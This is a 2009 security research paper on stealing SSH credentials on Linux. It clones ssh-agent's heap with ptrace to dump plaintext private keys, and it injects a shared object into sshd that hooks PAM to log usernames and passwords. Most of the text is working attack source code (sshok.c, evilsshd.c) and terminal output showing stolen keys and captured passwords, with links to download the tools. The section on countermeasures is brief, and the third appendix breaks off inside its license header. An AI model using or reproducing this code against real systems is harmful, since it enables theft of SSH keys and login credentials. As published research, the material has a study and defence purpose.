Adventures in Heap Cloning

simplifying the access of complex foreign runtime data structures

stealth [at] openwall net

November 15, 2009

Abstract

A lot of processes carry important data which must not be revealed to other processes. Thats actually why process separation on multiuser systems exist. One such good example is the *ssh-agent* process which keeps plaintext cryptographic keys for remote authentication in its heap. They compose of complex data structures like linked lists and bit-fields not handy for easy and immediate access by attacking processes.
Search engine tag: SET-heap-cloning-2009.

1 Introduction

There has been a long history in tools hunting for sensible data stored inside other processes memory. Common targets for such attacks are the *ssh-agent*, the *sshd* daemon itself or any other process storing credential information in plaintext. The important thing to note is that while all the information is stored on disk encrypted, it is kept unencrypted in memory. If the use of keyboard or pty loggers is not possible or feasible for an attacker he has to somehow access the target process memory directly.

The author knows numerous ways to do this, ranging from loadable kernel modules to the analyzation of forced core dumps. However theres a much easier way which allows to use all the common API's for dumping keys if the key structures are available. The goal is to transfer these structures into the attackers address space.

I want to stress that I am not uncovering security holes or alike in *ssh-agent* or underlying operating environment. In fact, the program correctly uses `prctl()` to make itself untraceable for other instances of the same user.

Indeed, there is no other way than to keep sensible information in plaintext inside memory, for example if authenticating against *sshd* with passwords.

In this paper I focus on a common Linux x86_64 OpenSSH 5.2 setup. Other OpenSSH [1] versions have also been tested and confirmed to work. The provided source code has been demonstrated to work on default openSUSE 11.1 and Fedora11 installations (x86_64).

Additionally to Heap Cloning another method is discussed. Heap Tracking. This allows to track the occurrences of valuable information inside the heap. For all attacks, implementations are shown.

2 A ssh-agent session

A simple ssh session involving *ssh-agent* typically looks as follows:

```
[root@locus sshok]# ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa):
Created directory '/root/.ssh'.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /root/.ssh/id_rsa.
Your public key has been saved in /root/.ssh/id_rsa.pub.
The key fingerprint is:
56:3c:9d:e1:19:55:6a:dc:ed:ed:ca:14:28:9c:d1:13 root@locus
The key's randomart image is:
+--[ RSA 2048]----+
|           E....|
|        . + B o.|
|         = B + o|
|        o + + ..|
|       S + . . o|
|      .   .   o |
|             . .|
|            o . |
|             o  |
+-----------------+
[root@locus sshok]#
```

Since all attacks need to be done as root and it is a test setup anyway, I oversimplify things and do all steps as root, including the generation of a SSH key used for RSA authentication. The ssh-agent is then started which creates a UNIX socket used to load keys into the agent. We use this unique pathname later to find fixed addresses in ssh-agent's heap:

```
[root@locus sshok]# ssh-agent
SSH_AUTH_SOCK=/tmp/ssh-MakXVV2354/agent.2354; export SSH_AUTH_SOCK;
SSH_AGENT_PID=2355; export SSH_AGENT_PID;
echo Agent pid 2355;
[root@locus sshok]# SSH_AUTH_SOCK=/tmp/ssh-MakXVV2354/agent.2354;\
 export SSH_AUTH_SOCK;
[root@locus sshok]# SSH_AGENT_PID=2355; export SSH_AGENT_PID;
```

3 Cloning the Heap

Once it is running, the generated key can be loaded. The key is then inside *ssh-agent*'s heap in plaintext. Unlike the key stored in */root/.ssh/id_rsa* on disk:

```
[root@locus sshok]# ssh-add /root/.ssh/id_rsa
[...entering passphrase...]
Identity added: /root/.ssh/id_rsa (/root/.ssh/id_rsa)
[root@locus sshok]# ps aux|grep ssh-agent
root  2355  0.0  0.1  54420   764 ?      Ss  11:43  0:00 ssh-agent
root  5137  0.0  0.1  89004   776 pts/1  S+  16:47  0:00 grep ssh-agent
[root@locus sshok]# tail -7 /proc/2355/maps
7f18d2358000-7f18d2371000 r-xp 00000000 08:07 836457                     /usr/bin/ssh-agent
7f18d2571000-7f18d2572000 rw-p 00019000 08:07 836457                     /usr/bin/ssh-agent
7f18d2572000-7f18d2574000 rw-p 7f18d2572000 00:00 0
7f18d38fd000-7f18d391e000 rw-p 7f18d38fd000 00:00 0                      [heap]
7fffda35b000-7fffda370000 rw-p 7ffffffea000 00:00 0                      [stack]
7fffda3ff000-7fffda400000 r-xp 7fffda3ff000 00:00 0                      [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  [vsyscall]
[root@locus sshok]#
```

We see the *ssh-agent* running with PID 2355. The mapping shows the ELF binaries `.text/.rodata`, `.data/.bss` and heap mapping at the address 0x7f18d2358000 - 0x7f18d2371000, 0x7f18d2571000 - 0x7f18d2574000 and 0x7f18d38fd000 - 0x7f18d38fe000 respectively. *ssh-agent* is using the *OpenSSL* [2] crypto library to handle its cryptographic data, hence the internal data structures holding the key are well known. Excerpt from *ssh-agent* code:

```
[...]
struct Key {
        int      type;
        int      flags;
        RSA     *rsa;
        DSA     *dsa;
};

[...]

typedef struct identity {
        TAILQ_ENTRY(identity) next;
        struct Key *key;
        char *comment;
        u_int death;
        u_int confirm;
} Identity;

typedef struct {
        int nentries;
        TAILQ_HEAD(idqueue, identity) idlist;
} Idtab;

Idtab idtable[3];

int max_fd = 0;

pid_t parent_pid = -1;

char socket_name[MAXPATHLEN];
char socket_dir[MAXPATHLEN];
[...]
```

If the `idtable` array, actually holding the key material, would belong to attackers address space as well as *OpenSSL*'s internal structures at runtime needed to form the RSA or DSA keys, he could just easily call the `PEM_write_RSAPrivateKey()` or `PEM_write_DSAPrivateKey()` *OpenSSL* function, dumping the private keys. Nothing easier than that! Since the needed address mappings can be found inside the proc map file, a series of mmap()/ptrace(PEEK_TEXT) calls will transfer *ssh-agent*'s `.data`, `.bss` and heap to the attacker process. `.text` and

`.rodata` could be transfered too but are not needed, except for very custom binaries which include back-referencing jump tables or such. The attacker can `mmap()` zero pages of exact location and length as seen in *ssh-agent*'s maps and fill them with exactly the same data, keeping all arrays, linked lists etc. intact. He just needs to ensure that the mappings of his own ELF process don't collide with the ones of the target process which is easily to achieve:

```
cc -c -Wall sshok.c -O2
cc -Wl,-Tbss=0x1000 -Wl,-Tdata=0x2000 -Wl,-Ttext=0x3000 sshok.o -lssl
```

The attacker was *cloning the heap*. Then he just needs to find a fix point to find the cloned idtable and make his own RSA/DSA key structures point to them on which he can call the dump-key functions from the *OpenSSL* library. There, the unique path from the agent-session comes to play. Once found in the cloned heap the attacker can calculate where his own idtable needs to point to. This may involve some brute-forcing in a very small range in order to respect different compile-time options/alignment etc. but this could easily be done by forking and trapping segfaults:

```
[root@locus sshok]# ./sshok -p 2355
Found addr 0x7f18d2571000
Found addr 0x7f18d2572000
Found addr 0x7f18d38fd000
Found socket name /tmp/ssh-MakXVV2354/agent.2354 (0x7f18d2571da0)
-----BEGIN RSA PRIVATE KEY-----
MIIEoQIBAAKCAQEAwLoyKV8EgLNB1EVKsnvV+RHsydfoXY6WkssbqClc3FaYRXsZ
KJiwpRdVOdcrU9/AZfl1aVBCCVkW2J+xLvbkOsJgIpsmZSPEIDCJ0HVwp1ndI634
6EfMswJR4XwwAqOIEIgg69VYCmLKD4Z3vd2ymnn+/BG7Nw5Z4Mvpr/aBDEsFihkL
[...]
SFHqG0K2R9Xu4PpcUc/kgg+C5viTqP6bFNesuS+5fZwYO1LF1M5lyGbfb7OUHWw8
UfxZSIP3K873KGflE3BbnqDoOpjsNdhC8iQwKXU6HT+/NgsBCA==
-----END RSA PRIVATE KEY-----
-----BEGIN RSA PRIVATE KEY-----
MIIEoQIBAAKCAQEAwLoyKV8EgLNB1EVKsnvV+RHsydfoXY6WkssbqClc3FaYRXsZ
KJiwpRdVOdcrU9/AZfl1aVBCCVkW2J+xLvbkOsJgIpsmZSPEIDCJ0HVwp1ndI634
6EfMswJR4XwwAqOIEIgg69VYCmLKD4Z3vd2ymnn+/BG7Nw5Z4Mvpr/aBDEsFihkL
[...]
SFHqG0K2R9Xu4PpcUc/kgg+C5viTqP6bFNesuS+5fZwYO1LF1M5lyGbfb7OUHWw8
UfxZSIP3K873KGflE3BbnqDoOpjsNdhC8iQwKXU6HT+/NgsBCA==
-----END RSA PRIVATE KEY-----
[root@locus sshok]#
```

The key is dumped more than once because more than one offset was possible without causing a segfault. A couple of page fault messages will appear inside the *dmesg* because of the (small mount of) brute force. A *sshok* implementation can be found at [5] or in Appendix A.1.

4 Heap Tracking via self-debugging

Sometimes its not feasible for an attacker to capture all the heap data and to obtain the important data from it. Classic example is the *sshd* process which at some point in time holds important plain text data such as a password. The timeframe when this data appears in the target heap is unknown to the attacker. It happens when someone logs in which could happen in 10 seconds from now or in 10 months. In other words it would be pointless to heap-clone *sshd* and hope to find something. Rather it would be good to add some tracking mechanism to the target process to notice at which time the interesting data will appear.

This technique is not new, it has been demonstrated in Phrack 59 [3] by an anonymous author. I want to make clear that this anonymous author is not the author of this paper. The tool named *ssh-fucker* hooked functions important for authentication, logging all sensible data. Since simply re-implementing the *ssh-fucker* for current glibc versions is not challenging, a new technique to obtain the data has been developed, re-using already existing tools such as *injectso* [6]. Driving the attack is then as easy as injecting a dynamically shared object into *sshd*. In order for the attack to work, *sshd* has to be invoked with an option that forbids re-execution:

```
linux-dlin:~/event # cat /etc/sysconfig/ssh
## Path:        Network/Remote access/SSH
## Description: SSH server settings
## Type:        string
## Default:     ""
## ServiceRestart: sshd
#
# Options for sshd
#
SSHD_OPTS="-r"
linux-dlin:~/event # ps aux|grep sshd
root      5050  0.0  0.2  51736  1172 ?        Ss   19:09   0:00 /usr/sbin/sshd -r -o PidFile=/var/run/sshd.init.pid
root      5053  0.0  0.1   4312   736 tty1     S+   19:10   0:00 grep sshd
```

By default, *sshd* would re-execute itself upon a new connection which would abandon all previous code injects.
As functions and data-structures to be tracked, PAM has been chosen since all of todays authentication will mostly rely on PAM [4]. The basic idea for *self-debugging* is as follows:

- Register a `SIGTRAP` signal handler
  with the `SA_SIGINFO` flag specified, so all traps generated will put the *sshd* process into the debugging mode with all registers/flags passed as an argument structure to the signal handler.
- Insert a `int3` instruction
  at a function known to be called when authentication starts. `pam_set_item()` has been chosen because its first argument is a pointer to a structure known to hold important data. In order to modify the code, the page-protections have to be modified to be writable.
- Implement a Finite State Machine (FSM)
  inside the debugging signal handler that dynamically traps/restores function entry-points so that it can *track the heap* until the final trap occurs when username and password are available inside the heap, no matter whether plaintext data is zeroed out by the process.

```
linux-dlin:~/event # gcc -fPIC -shared -nostartfiles evilsshd.c -o self-trap-example.so
linux-dlin:~/event # ./inject 5050 ./self-trap-example.so
Trying to obtain __libc_dlopen_mode() address relative to libc start address.
[1] Using my own __libc_dlopen_mode ...
success!
me: {__libc_dlopen_mode:0x7f6ddb561660, dlopen_offset:0x109660}
=> daemon: {__libc_dlopen_mode:0x7fa9e1741660, libc:0x7fa9e1638000}
64bit mode
Using normalized path '/root/event/self-trap-example.so' for injection.
rdi=0x5 rsp=0x7fff04a0d338 rip=0x7fa9e17045f3
rdi=0x0 rsp=0x7fff04a0d340 rip=0x0
done.
```

After inserting the debugging mechanism into *sshd* and logging in, one time as root and one time as user, the following log appears:

```
linux-dlin:~/event # cat /tmp/hooklog
initial hooking: pid=5276 addr=0x7f34eb57fa00 done
TRAP@ 7f34eb57fa01
TRAP1: loaded PAM modules: pam_nologin
TRAP1: loaded PAM modules: pam_env
TRAP1: loaded PAM modules: pam_unix2
TRAP@ 7f34e7e06331
TRAP2: hooking strdup() user=root
TRAP@ 7f34e92c3271
TRAP3: credentials: user=root pwd=jeheim
TRAP@ 7f34eb57fa01
TRAP1: loaded PAM modules: pam_nologin
TRAP1: loaded PAM modules: pam_env
TRAP1: loaded PAM modules: pam_unix2
TRAP@ 7f34e7e06331
TRAP2: hooking strdup() user=stealth
TRAP@ 7f34e92c3271
TRAP3: credentials: user=stealth pwd=geheim
linux-dlin:~/event #
```

An implementation can be found inside the *injectso* package [6] or in Appendix A.2. Why multiple logins are also logged, even when all traps have been removed after writing out the log is left as an exercise to the reader :-)

5 Self Debugging without modifying the target code

So far, inserting debugging hooks into foreign code is nothing really new. Even though forcing a target processes to dynamically debug itself is not widely known, we go one step further.
You might have noticed that *evilsshd.c* is not working on confined processes such as on Fedora 11. Their targeted *SELinux* [8] policy forbids to change the page-flags to be writable and executable at the same time. It also forbids to make it writable, modify and make it executable again since it would require re-allocation. The author also tried to unmap the desired page, but it was then not possible to map it executable again since executable mappings have to come from certain paths such as */lib64* which *sshd* is not allowed to write to. After wasting a lot of time with the page protections, I decided to use a technique I already developed for myself a few years ago. It does not modify the code to trap functions but just removed the `PROT_EXEC` protection from the page. When the process is calling a function inside that page, a `SIGSEGV` (page fault) will be generated.

The self-debugging is now somewhat different from above and basically consists of the following steps:

- Register a `SIGSEGV` signal handler
  with the `SA_SIGINFO` flag specified, so all faults generated will put the *sshd* process into the debugging mode with all registers/flags passed as an argument structure to the signal handler.
- To restore from the fault, the page protection has just to be made executable again.
- If a function which is inside the same page as the function being hooked is causing the fault, temporarily make the page executable again, but define an return address for the function that will cause another fault at a magic address, lets say 0x73507350. Save the real return address for later use.
- If a fault happens at the magic address:
  The false-trapped function has left the page, so make it non-executable again and redirect the return to the address we saved.
- Keep in mind that the page protections are shared across `fork()`'s since no content is modified.
- Faults where a function is causing the fault which crosses page boundaries into a non-executable page have not been found in the setup.
- The technique will not work on multi-threaded targets.

An implementation can be found inside the *injectso* package [6] or in Appendix A.3.

The log-file after a user logging in could look like:

```
[3417] TRAP@ 0x7f2b68e29c00
[3417] TRAP1: loaded PAM modules: pam_sepermit
[3417] TRAP1: loaded PAM modules: pam_env
[3417] TRAP1: loaded PAM modules: pam_fprintd
[3417] TRAP1: loaded PAM modules: pam_unix
[3417] TRAP@ 0x7f2b63ba70a0
[3417] TRAP2: hooking strdup() user=stealth
[3417] TRAP@ 0x7f2b668ca400
[3417] wrong hit at 0x7f2b668ca400, redirecting...
[3417] TRAP@ 0x73507350
[3417] corrected ret (0x7f2b63ba9092)
[3417] TRAP@ 0x7f2b668ca5d0
[3417] wrong hit at 0x7f2b668ca5d0, redirecting...
[3417] TRAP@ 0x73507350
[3417] corrected ret (0x7f2b63ba90ab)
[3417] TRAP@ 0x7f2b668ca400
[3417] wrong hit at 0x7f2b668ca400, redirecting...
[3417] TRAP@ 0x73507350
[3417] corrected ret (0x7f2b63ba9092)
[3417] TRAP@ 0x7f2b668ca5d0
[3417] wrong hit at 0x7f2b668ca5d0, redirecting...
[3417] TRAP@ 0x73507350
[3417] corrected ret (0x7f2b63ba90ab)
[...]
[3417] wrong hit at 0x7f2b668ca400, redirecting...
[3417] TRAP@ 0x73507350
[3417] corrected ret (0x7f2b66879108)
[3417] TRAP@ 0x7f2b668ca400
[3417] wrong hit at 0x7f2b668ca400, redirecting...
[3417] TRAP@ 0x73507350
[3417] corrected ret (0x7f2b66879160)
[3417] TRAP@ 0x7f2b668ca150
[3417] TRAP3: credentials: user=stealth pwd=geheim
```

6 Countermeasures

The author has learned from the maintainer of the *grsecurity* [7] project that their confinement and the *PaX* patch inside *grsecurity* will prevent all the attacks described above, since the use of `ptrace()` is only allowed to child processes as well as *PaX* sending a `SIGKILL` instead of a `SIGSEGV` signal to processes trying to execute code inside NX pages. A `SIGKILL` signal cannot be trapped like a `SIGSEGV`. These shortcommings will be addressed in a different paper.

7 Acknowledgments

This research was sponsored by the German Research Institute for Network and Software Structures (GRINSS).

References

[1] The OpenSSH project:

`http://openssh.org`

[2] The OpenSSL project:

`http://openssl.org`

[3] ssh fucker:

`http://www.phrack.org/issues.html?issue=59&id=8&mode=txt`

[4] Pluggable Authentication Modules (PAM):

`http://www.kernel.org/pub/linux/libs/pam/`

[5] sshok:

`http://stealth.openwall.net/local/sshok-0.2.tgz`

[6] injectso:

`http://stealth.openwall.net/local/injectso-0.45.tgz`

[7] The grsecurity project:

`http://www.grsecurity.net/`

[8] Security Enhanced Linux (SELinux):

`http://www.nsa.gov/research/selinux/`

8 Appendix A.1

sshok.c:

```
/*
 * Copyright (C) 2007-2009 Stealth.
 * All rights reserved.
 *
 * This is NOT a common BSD license, so read on.
 *
 * Redistribution in source and use in binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 *
 * 1. The provided software is FOR EDUCATIONAL PURPOSES ONLY! You must not
 *    use this software or parts of it to commit crime or any illegal
 *    activities. Local law may forbid usage or redistribution of this
 *    software in your country.
 * 2. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 3. Redistribution in binary form is not allowed.
 * 4. All advertising materials mentioning features or use of this software
 *    must display the following acknowledgement:
 *      This product includes software developed by Stealth.
 * 5. The name Stealth may not be used to endorse or promote
 *    products derived from this software without specific prior written
 *    permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY
 * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
 * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR BE LIABLE
 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
 * SUCH DAMAGE.
 */
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <sys/wait.h>
#include <openssl/dsa.h>
#include <openssl/rsa.h>
#include <openssl/pem.h>


#define TAILQ_HEAD(name, type)                                          \
struct name {                                                           \
        struct type *tqh_first; /* first element */                     \
        struct type **tqh_last; /* addr of last next element */         \
}

#define TAILQ_FIRST(head)               ((head)->tqh_first)
#define TAILQ_END(head)                 NULL
#define TAILQ_NEXT(elm, field)          ((elm)->field.tqe_next)
#define TAILQ_LAST(head, headname)                                      \
        (*(((struct headname *)((head)->tqh_last))->tqh_last))
#define TAILQ_PREV(elm, headname, field)                                \
        (*(((struct headname *)((elm)->field.tqe_prev))->tqh_last))
#define TAILQ_EMPTY(head)                                               \
        (TAILQ_FIRST(head) == TAILQ_END(head))

#define TAILQ_FOREACH(var, head, field)                                 \
        for((var) = TAILQ_FIRST(head);                                  \
            (var) != TAILQ_END(head);                                   \
            (var) = TAILQ_NEXT(var, field))

#define TAILQ_ENTRY(type)                                               \
struct {                                                                \
        struct type *tqe_next;  /* next element */                      \
        struct type **tqe_prev; /* address of previous next element */  \
}
```

```
struct Key {
        int      type;
        int      flags;
        RSA     *rsa;
        DSA     *dsa;
};

typedef struct identity {
        TAILQ_ENTRY(identity) next;
        struct Key *key;
        char *comment;
        u_int death;
        u_int confirm;
} Identity;

typedef struct {
        int nentries;
        TAILQ_HEAD(idqueue, identity) idlist;
} Idtab;

Idtab idtable[3];

int max_fd = 0;

pid_t parent_pid = -1;
unsigned int parent_alive_interval = 0;


void die(const char *msg)
{
        perror(msg);
        exit(errno);
}


int mirror_maps(pid_t pid, char **ret_addr, size_t *ret_size)
{
        char proc[32], buf[128], *start = NULL, *end = NULL;
        unsigned long addr1 = 0, addr2 = 0, l = 0;
        int status = 0, last_was_lib = 0;
        FILE *f;

        snprintf(proc, sizeof(proc), "/proc/%d/maps", pid);

        if ((f = fopen(proc, "r")) < 0)
                die("fopen");

        if (ptrace(PTRACE_ATTACH, pid, 0, 0) < 0)
                die("ptrace");

        wait4(-1, &status, 0, NULL);

        for (;;) {
                if (!fgets(buf, sizeof(buf), f))
                        break;
                if (strstr(buf, "lib")) {
                        last_was_lib = 1;
                        continue;
                }
                if (!strstr(buf, "rw-p"))
                        continue;
                if (strstr(buf, "[stack]"))
                        continue;
                if (strstr(buf, "[vdso]"))
                        continue;

                if (last_was_lib && !strchr(buf, '/')) {
                        continue;
                }

                last_was_lib = 0;

                start = strtok(buf, "-");
                addr1 = strtoul(start, NULL, 16);
                end = strtok(NULL, " ");
                addr2 = strtoul(end, NULL, 16);

                printf("Found addr 0x%s\n", buf);

                if (ret_addr && !*ret_addr)
                        *ret_addr = (char *)addr1;
                if (ret_size && !*ret_size)
                        *ret_size = addr2 - addr1;
                addr1 = (unsigned long)mmap((void *)addr1, addr2 - addr1,
                                           PROT_READ|PROT_WRITE,
                                           MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE,
                                           -1, 0);
                if (addr1 == -1)
```

```
                        die("mmap");

                for (;addr1 < addr2; addr1 += sizeof(long)) {
                        l = ptrace(PTRACE_PEEKTEXT, pid, (void *)addr1, 0, 0);
                        *(unsigned long *)addr1 = l;
                }
        }

        ptrace(PTRACE_DETACH, pid, 0, 0);
        fclose(f);
        return 0;
}

void dump_keys(char *ptr, size_t len)
{
        int i = 0, status = 0;
        Identity *id;

        for (i = 0; i < len; ++i) {
                if (memcmp(ptr, "/tmp/ssh-", 9) == 0 && strpbrk(ptr, "agent"))
                        break;
                ++ptr;
        }

        if (i == len) {
                printf("No socketname found.\n");
                return;
        }

        printf("Found socket name %s (%p)\n", ptr, ptr);
        fflush(stdout);

        for (i = 0; i < 200; ++i) {
                if (fork() == 0) {
                        ptr -= i;
                        memcpy(&idtable, ptr, sizeof(idtable));

                        // version 2 keys
                        Idtab *tab = &idtable[2];

                        TAILQ_FOREACH(id, &tab->idlist, next) {
                                if (id->key->rsa)
                                        PEM_write_RSAPrivateKey(stdout, id->key->rsa, NULL, NULL, 0, NULL, NULL);
                                else if (id->key->dsa)
                                        PEM_write_DSAPrivateKey(stdout, id->key->dsa, NULL, NULL, 0, NULL, NULL);
                        }

                        /* version 1 keys
                        tab = &idtable[1];

                        TAILQ_FOREACH(id, &tab->idlist, next) {
                                if (id->key->rsa)
                                        PEM_write_RSAPrivateKey(stdout, id->key->rsa, NULL, NULL, 0, NULL, NULL);
                        }*/

                        exit(1);
                } else {
                        wait4(-1, &status, 0, NULL);
                }
        }
        return;
}

void usage()
{
        printf("Usage: Do not use.\n");
        exit(1);
}

int main(int argc, char **argv)
{
        int c = 0;
        pid_t pid = 0;
        char *ptr = NULL;
        size_t len = 0;

        while ((c = getopt(argc, argv, "p:")) != -1) {
                switch (c) {
                case 'p':
                        pid = atoi(optarg);
                        break;
                default:
                        usage();
                }
```

```
        }

        if (!pid)
                usage();

        mirror_maps(pid, &ptr, &len);
        dump_keys(ptr, len);

        exit(0);
}
```

9 Appendix A.2

evilsshd.c:

```
/*
 * Copyright (C) 2007-2009 Stealth.
 * All rights reserved.
 *
 * This is NOT a common BSD license, so read on.
 *
 * Redistribution in source and use in binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 *
 * 1. The provided software is FOR EDUCATIONAL PURPOSES ONLY! You must not
 *    use this software or parts of it to commit crime or any illegal
 *    activities. Local law may forbid usage or redistribution of this
 *    software in your country.
 * 2. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 3. Redistribution in binary form is not allowed.
 * 4. All advertising materials mentioning features or use of this software
 *    must display the following acknowledgement:
 *      This product includes software developed by Stealth.
 * 5. The name Stealth may not be used to endorse or promote
 *    products derived from this software without specific prior written
 *    permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ‘‘AS IS’’ AND ANY
 * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
 * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR BE LIABLE
 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
 * SUCH DAMAGE.
 */

/* This code is part of the ’Adventures in Heap Cloning’ research paper.
 * If you find this code without the paper, search for
 * SET-heap-cloning-2009 on the web.
 */

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <dlfcn.h>
#include <sys/mman.h>
#include <unistd.h>
#include <signal.h>
#include <string.h>
#include <security/pam_modules.h>
#include <link.h>
#include <ucontext.h>
#include <elf.h>
#include <sys/time.h>

// original bytes which we substitute by int3
static unsigned char orig[0x10];

// the functions which have been hooked
static unsigned char *hooks[0x10] = {0, 0};

static char *user = NULL;
static FILE *flog = NULL;

typedef enum { PAM_FALSE, PAM_TRUE } pam_boolean;

// all the PAM declarations must match EXACTLY the targets
// PAM version and structs. Otherwise, walking the pam
// handler lists etc. is likely to produce SIGSEGV
struct handler {
        int handler_type_must_fail;
        int (*func)(void *pamh, int flags, int argc, char **argv);
        int actions[32];
        /* set by authenticate, open_session, chauthtok(1st)
         consumed by setcred, close_session, chauthtok(2nd) */
        int cached_retval; int *cached_retval_p;
        int argc;
        char **argv;
        struct handler *next;
        char *mod_name;
        int stack_level;
};
```

```
struct handlers {
        struct handler *authenticate;
        struct handler *setcred;
        struct handler *acct_mgmt;
        struct handler *open_session;
        struct handler *close_session;
        struct handler *chauthtok;
};

struct pam_handle {
        char *authtok;
        unsigned caller_is;
        void *pam_conversation;
        char *oldauthtok;
        char *prompt;
        char *service_name;
        char *user;
        char *rhost;
        char *ruser;
        char *tty;
        char *xdisplay;
        void *data, *env;
        struct {
                pam_boolean set;
                unsigned int delay;
                time_t begin;
                void *delay_fn_ptr;
        } fail_delay;
        struct {
                int namelen;
                char *name;
                int datalen;
                char *data;
        } xauth;
        struct {
                void *loaded_module;
                int modules_allocated;
                int modules_used;
                int handlers_loaded;
                struct handlers conf;
                struct handlers other;
        } handlers;
};


static void sigtrap(int x, siginfo_t *si, void *vp)
{
        ucontext_t *uc = vp;
        void *arg = NULL;
        struct pam_handle *ph = NULL;
        struct handler *mod = NULL;
        unsigned char *aligned = NULL;

#ifdef __x86_64__
        greg_t ip = uc->uc_mcontext.gregs[REG_RIP];
        arg = (void *)uc->uc_mcontext.gregs[REG_RDI];
#else
        // x86 is not working, I just show it to give an idea
        greg_t ip = uc->uc_mcontext.gregs[REG_EIP];
#endif
        fprintf(flog, "TRAP@ %zx\n", ip);

        // this is a finite state machine (FSM), we trap ourself forward
        // until we reach the final strdup() for the password
        // If the FSM is left, all hooks are cleaned up in target process
        // since the last state does not define new hooks
        if (ip - 1 == (greg_t)hooks[0]) {
                // restore original context
                hooks[0][0] = orig[0];
                uc->uc_mcontext.gregs[REG_RIP] = (greg_t)hooks[0];

                ph = (struct pam_handle *)arg;
                mod = ph->handlers.conf.authenticate;
                do {
                        fprintf(flog, "TRAP1: loaded PAM modules: %s\n", mod->mod_name);
                        if (strstr(mod->mod_name, "pam_unix"))
                                break;
                } while ((mod = mod->next) != NULL);

                // hook pam authenticate function
                if (mod != NULL) {
                        hooks[1] = (unsigned char *)mod->func;
                        aligned = (unsigned char *)(((size_t)hooks[1]) & ~4095);
                        if (mprotect(aligned, 4096, PROT_READ|PROT_WRITE|PROT_EXEC) == 0) {
                                orig[1] = hooks[1][0];
                                hooks[1][0] = 0xcc;
                        }
```

```
                }
        } else if (ip - 1 == (greg_t)hooks[1]) {
                // restore original context
                hooks[1][0] = orig[1];
                uc->uc_mcontext.gregs[REG_RIP] = (greg_t)hooks[1];

                ph = (struct pam_handle *)arg;
                fprintf(flog, "TRAP2: hooking strdup() user=%s\n", ph->user);
                user = strdup(ph->user);
                // carefull to only hook after we used strdup() ourself
                hooks[2] = dlsym(NULL, "strdup");
                if (!hooks[2])
                        return;
                aligned = (unsigned char *)(((size_t)hooks[2]) & ~4095);
                if (mprotect(aligned, 4096, PROT_READ|PROT_WRITE|PROT_EXEC) == 0) {
                        orig[2] = hooks[2][0];
                        hooks[2][0] = 0xcc;
                }
        } else if (ip - 1 == (greg_t)hooks[2]) {
                // restore ...
                hooks[2][0] = orig[2];
                uc->uc_mcontext.gregs[REG_RIP] = (greg_t)hooks[2];

                fprintf(flog, "TRAP3: credentials: user=%s pwd=%s\n", user, (char *)arg);
        }

        return;
}


void _init()
{
        unsigned char *aligned = NULL;
        struct sigaction sa;

        if ((hooks[0] = dlsym(NULL, "pam_set_item")) == NULL)
                return;

        flog = fopen("/tmp/hooklog", "a");
        if (!flog)
                return;

        setbuffer(flog, NULL, 0);

        memset(&sa, 0, sizeof(sa));
        sa.sa_sigaction = sigtrap;
        sa.sa_flags = SA_RESTART|SA_SIGINFO;
        sigaction(SIGTRAP, &sa, NULL);

        aligned = (unsigned char *)(((size_t)hooks[0]) & ~4095);
        if (mprotect(aligned, 4096, PROT_READ|PROT_WRITE|PROT_EXEC) != 0)
                return;

        fprintf(flog, "initial hooking: pid=%d addr=%p ", getpid(), hooks[0]);

        orig[0] = hooks[0][0];
        hooks[0][0] = 0xcc;

        fprintf(flog, "done\n");
        return;
}
```

10 Appendix A.3

evilsshd-nx.c:

```
/*
 * Copyright (C) 2007-2009 Stealth.
 * All rights reserved.
 *
 * This is NOT a common BSD license, so read on.
 *
 * Redistribution in source and use in binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 *
 * 1. The provided software is FOR EDUCATIONAL PURPOSES ONLY! You must not
 *    use this software or parts of it to commit crime or any illegal
 *    activities. Local law may forbid usage or redistribution of this
 *    software in your country.
 * 2. Redistributions of source code must retain the above copyright
